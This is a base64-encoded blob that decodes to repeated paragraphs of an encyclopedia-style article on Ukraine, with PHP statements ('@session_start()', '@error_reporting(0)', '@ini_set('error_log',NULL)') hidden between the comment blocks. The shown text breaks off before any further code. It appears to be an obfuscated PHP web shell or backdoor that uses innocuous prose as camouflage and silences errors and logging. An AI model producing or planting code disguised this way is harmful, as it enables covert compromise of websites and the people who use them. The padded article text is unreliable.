ZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCglleGl0Owp9CgpAc2Vzc2lvbl9zdGFydCgpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KQGVycm9yX3JlcG9ydGluZygwKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aG